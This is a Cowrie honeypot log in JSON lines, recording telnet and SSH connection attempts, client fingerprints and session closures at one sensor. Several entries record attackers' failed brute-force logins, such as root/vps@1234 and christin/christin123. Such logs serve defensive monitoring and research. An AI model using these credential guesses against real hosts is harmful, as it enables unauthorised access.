{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43320,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ab7f53c664","protocol":"telnet","message":"New connection: 208.82.116.131:43320 (159.203.135.109:23) [session: 88ab7f53c664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:58.895922Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":54390,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca70b1201646","protocol":"telnet","message":"New connection: 104.248.46.74:54390 (159.203.135.109:23) [session: ca70b1201646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:02.533233Z"}
{"eventid":"cowrie.session.closed","duration":32.797364234924316,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:02.866976Z","src_ip":"104.248.46.74","session":"ded88d7e2b40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.164470195770264,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:04.060244Z","src_ip":"208.82.116.131","session":"88ab7f53c664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":45148,"dst_ip":"159.203.135.109","dst_port":23,"session":"8de5f47ffda3","protocol":"telnet","message":"New connection: 208.82.116.131:45148 (159.203.135.109:23) [session: 8de5f47ffda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:04.065336Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":54746,"dst_ip":"159.203.135.109","dst_port":23,"session":"5729930a4f64","protocol":"telnet","message":"New connection: 104.248.46.74:54746 (159.203.135.109:23) [session: 5729930a4f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:05.011810Z"}
{"eventid":"cowrie.session.closed","duration":34.31527543067932,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:08.006077Z","src_ip":"104.248.46.74","session":"57cc80308a4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35466,"dst_ip":"159.203.135.109","dst_port":22,"session":"eae571fc2bbf","protocol":"ssh","message":"New connection: 159.203.92.129:35466 (159.203.135.109:22) [session: eae571fc2bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:09.516775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:09.521729Z","src_ip":"159.203.92.129","session":"eae571fc2bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:09.526709Z","src_ip":"159.203.92.129","session":"eae571fc2bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"amandabackup1234","message":"login attempt [amandabackup/amandabackup1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:09.540425Z","src_ip":"159.203.92.129","session":"eae571fc2bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:10.547773Z","src_ip":"159.203.92.129","session":"eae571fc2bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":42852,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f56570980f4","protocol":"ssh","message":"New connection: 103.215.80.173:42852 (159.203.135.109:22) [session: 6f56570980f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:11.546602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:13.774095Z","src_ip":"103.215.80.173","session":"6f56570980f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:13.778056Z","src_ip":"103.215.80.173","session":"6f56570980f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps@1234","message":"login attempt [root/vps@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:14.598971Z","src_ip":"103.215.80.173","session":"6f56570980f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:15.808445Z","src_ip":"103.215.80.173","session":"6f56570980f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":58178,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01223eec27a","protocol":"telnet","message":"New connection: 104.248.46.74:58178 (159.203.135.109:23) [session: a01223eec27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:21.763825Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":51864,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1ecad5242e8","protocol":"telnet","message":"New connection: 208.82.116.131:51864 (159.203.135.109:23) [session: d1ecad5242e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:23.581993Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":51912,"dst_ip":"159.203.135.109","dst_port":23,"session":"0af5a815aabc","protocol":"telnet","message":"New connection: 208.82.116.131:51912 (159.203.135.109:23) [session: 0af5a815aabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:23.733846Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":51944,"dst_ip":"159.203.135.109","dst_port":23,"session":"bafc62d03682","protocol":"telnet","message":"New connection: 208.82.116.131:51944 (159.203.135.109:23) [session: bafc62d03682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:23.787086Z"}
{"eventid":"cowrie.session.closed","duration":37.37682390213013,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:26.752541Z","src_ip":"162.253.42.116","session":"df139481250a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.384464502334595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:28.288914Z","src_ip":"162.253.42.116","session":"5d8f5d3c164e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":58914,"dst_ip":"159.203.135.109","dst_port":23,"session":"3324c9c860e9","protocol":"telnet","message":"New connection: 104.248.46.74:58914 (159.203.135.109:23) [session: 3324c9c860e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:30.028948Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":37924,"dst_ip":"10.17.0.5","dst_port":23,"session":"f417ed0befdb","protocol":"telnet","message":"New connection: 162.253.42.116:37924 (10.17.0.5:23) [session: f417ed0befdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:30.696046Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":60476,"dst_ip":"159.203.135.109","dst_port":23,"session":"a96bb5846299","protocol":"telnet","message":"New connection: 104.248.46.74:60476 (159.203.135.109:23) [session: a96bb5846299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:35.715684Z"}
{"eventid":"cowrie.session.closed","duration":46.317171812057495,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:45.037509Z","src_ip":"208.82.116.131","session":"efee6028bfcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.93498349189758,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:45.946658Z","src_ip":"104.248.46.74","session":"5729930a4f64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.88247728347778,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:46.563213Z","src_ip":"208.82.116.131","session":"3e5405497c4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f3d31d30287","protocol":"telnet","message":"New connection: 174.136.57.21:47290 (10.17.0.5:23) [session: 6f3d31d30287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:47.536279Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":48634,"dst_ip":"10.17.0.5","dst_port":23,"session":"666f96ae198e","protocol":"telnet","message":"New connection: 174.136.57.21:48634 (10.17.0.5:23) [session: 666f96ae198e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:48.122741Z"}
{"eventid":"cowrie.session.closed","duration":45.290881395339966,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:49.356240Z","src_ip":"208.82.116.131","session":"8de5f47ffda3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356180906295776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:52.119559Z","src_ip":"104.248.46.74","session":"a01223eec27a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42758,"dst_ip":"159.203.135.109","dst_port":22,"session":"820934fd8148","protocol":"ssh","message":"New connection: 159.203.92.129:42758 (159.203.135.109:22) [session: 820934fd8148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:54.515188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:54.520001Z","src_ip":"159.203.92.129","session":"820934fd8148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:54.524190Z","src_ip":"159.203.92.129","session":"820934fd8148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"amandabackup321","message":"login attempt [amandabackup/amandabackup321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:54.537313Z","src_ip":"159.203.92.129","session":"820934fd8148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:55.547344Z","src_ip":"159.203.92.129","session":"820934fd8148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.0832953453064,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:29:58.616432Z","src_ip":"104.248.46.74","session":"ca70b1201646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76055121421814,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:02.789353Z","src_ip":"104.248.46.74","session":"3324c9c860e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50309085845947,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:05.199059Z","src_ip":"162.253.42.116","session":"f417ed0befdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.859007835388184,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:08.645967Z","src_ip":"208.82.116.131","session":"bafc62d03682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.63191223144531,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:10.365636Z","src_ip":"208.82.116.131","session":"0af5a815aabc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":37158,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0e48bafab8","protocol":"telnet","message":"New connection: 104.248.46.74:37158 (159.203.135.109:23) [session: 6f0e48bafab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:10.446514Z"}
{"eventid":"cowrie.session.closed","duration":47.01249384880066,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:10.594389Z","src_ip":"208.82.116.131","session":"d1ecad5242e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.78415322303772,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:11.499713Z","src_ip":"104.248.46.74","session":"a96bb5846299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":37280,"dst_ip":"159.203.135.109","dst_port":23,"session":"b26352721191","protocol":"telnet","message":"New connection: 104.248.46.74:37280 (159.203.135.109:23) [session: b26352721191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:11.973138Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":37384,"dst_ip":"159.203.135.109","dst_port":23,"session":"3beaa536edb3","protocol":"telnet","message":"New connection: 104.248.46.74:37384 (159.203.135.109:23) [session: 3beaa536edb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:16.689734Z"}
{"eventid":"cowrie.session.closed","duration":0.006254673004150391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:16.695836Z","src_ip":"104.248.46.74","session":"3beaa536edb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":14337,"dst_ip":"159.203.135.109","dst_port":22,"session":"638a275e70bb","protocol":"ssh","message":"New connection: 213.209.159.159:14337 (159.203.135.109:22) [session: 638a275e70bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:18.308347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:18.315908Z","src_ip":"213.209.159.159","session":"638a275e70bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:18.415783Z","src_ip":"213.209.159.159","session":"638a275e70bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin","message":"login attempt [christin/christin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:18.816440Z","src_ip":"213.209.159.159","session":"638a275e70bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31153631210327,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:19.847703Z","src_ip":"174.136.57.21","session":"6f3d31d30287","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin1","message":"login attempt [christin/christin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:19.902453Z","src_ip":"213.209.159.159","session":"638a275e70bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.494471311569214,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:20.617086Z","src_ip":"174.136.57.21","session":"666f96ae198e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin123","message":"login attempt [christin/christin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:20.988942Z","src_ip":"213.209.159.159","session":"638a275e70bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":39992,"dst_ip":"159.203.135.109","dst_port":23,"session":"69e61f8bb076","protocol":"telnet","message":"New connection: 104.248.46.74:39992 (159.203.135.109:23) [session: 69e61f8bb076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:21.846480Z"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin1234","message":"login attempt [christin/christin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:22.079271Z","src_ip":"213.209.159.159","session":"638a275e70bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christin","password":"christin12345","message":"login attempt [christin/christin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:23.165382Z","src_ip":"213.209.159.159","session":"638a275e70bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:24.250572Z","src_ip":"213.209.159.159","session":"638a275e70bb","protocol":"ssh"}
